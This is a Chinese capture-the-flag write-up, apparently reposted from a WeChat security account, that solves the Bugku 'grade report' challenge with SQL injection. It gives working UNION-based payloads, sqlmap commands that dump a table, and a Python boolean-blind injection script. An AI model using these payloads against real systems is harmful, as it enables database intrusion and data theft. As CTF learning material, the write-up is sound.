【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

admin 2021年12月1日00:21:48评论115 views字数 2487阅读8分17秒阅读模式

http://x.x.x.x:8002/chengjidan/

注入三种方法:手动sql注入、sqlmap注入(post方式)、python脚本注入

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)


(1)   手动注入   

                    

a.找漏洞

输入1,2,3 均显示成绩

输入-1’ or 1=1#  同样显示成绩,证明存在注入漏洞

输入1'返回异常,输入1'--+返回异常,输入1' #或者1-- +返回正常,看来过滤了--+

观察,表貌似有四列(名字,MathEnglishChinese),输入1' orderby 4#返回正常,输入1' order by 5#返回异常,看来的确是4

接下来就开始暴库名、表名、字段名

尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据

我们先手遍历一遍 id=-1' unionselect 1,2,3,4#

发现有四个表且都有回显

于是 就开始爆破吧

 首先爆库名:通过id=-1'union select 1,2,3,database()#得到数据库名字skctf_flag

b.爆表

然后爆表:通过使用 id=-1' union select 1,2,3,group_concat(table_name) frominformation_schema.tables where table_schema=database()# 

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

c.爆字段

接下来我们就要暴字段了

通过id=-1' union select 1,2,3,group_concat(column_name) frominformation_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

d.爆破字段值,得到字段skctf_flag

最后就是查询数据了,通过使用:id=-1' union select 1,2,3,skctf_flag from fl4g#

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)


(2)   sqlmap注入(bp抓包)


输入1并进行抓包

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

然后按右键,点击copyto file保存文件,这里我保存到了C 333.txt

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

然后打开sqlmap开始爆库:sqlmap.py -r C:333.txt -p id current-db 
-r > 加载一个文件 
-p >指定参数 
current-db >获取当前数据库名称(current前有两个-

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

可以看到它的数据库为skctf_flag,接着就是爆表 
sqlmap.py -r C:333.txt -p id -D skctf_flag - -tables 
-D >指定数据库名称 
tables >列出数据库中的表(tables前有两个-) 

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了 
sqlmap.py -r C:333.txt -p id -D skctf_flag -T fl4g columns 
-T >指定表名称 
columns >列出表中的字段 

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。 
sqlmap.py -r c:333.txt -p id -D skctf_flag -T fl4g -C skctf_flag dump 
dump >列出字段数据(dump前有两个-) 

【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)


(3)   python sql盲注


通过构造id=1'and 1=1#或返回成绩,id=1'and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注

脚本

# -*- coding:utf-8 -*-import requestsimport re url = "http://120.24.86.145:8002/chengjidan/index.php" base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"#payload = "database()" #skctf_flag #payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flagpayload = "(select skctf_flag from fl4g limit 0,1)" information="" for m in range(1,50):    for i in range(32,129):        post_data = {"id":base_payload.format(data = payload,len = m,number=i)}        r = requests.post(url,post_data)        resultarr = re.findall(r"<td>(.+?)<td>",r.text)        result = ''.join(resultarr)        #print result         #print r.text        #print post_data        if '60' not in result:            information += chr(i)            breakprint information


 

payload从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag

爆破数据库名

爆破表名

爆破flag字段名

爆破flag


本文始发于微信公众号(Hacking黑白红):【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月1日00:21:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【信息安全学习系列】-bugku成绩单(三种注入方法:手动注入、sqlmap注入、python盲注)http://cn-sec.com/archives/500520.html

发表评论

匿名网友 填写信息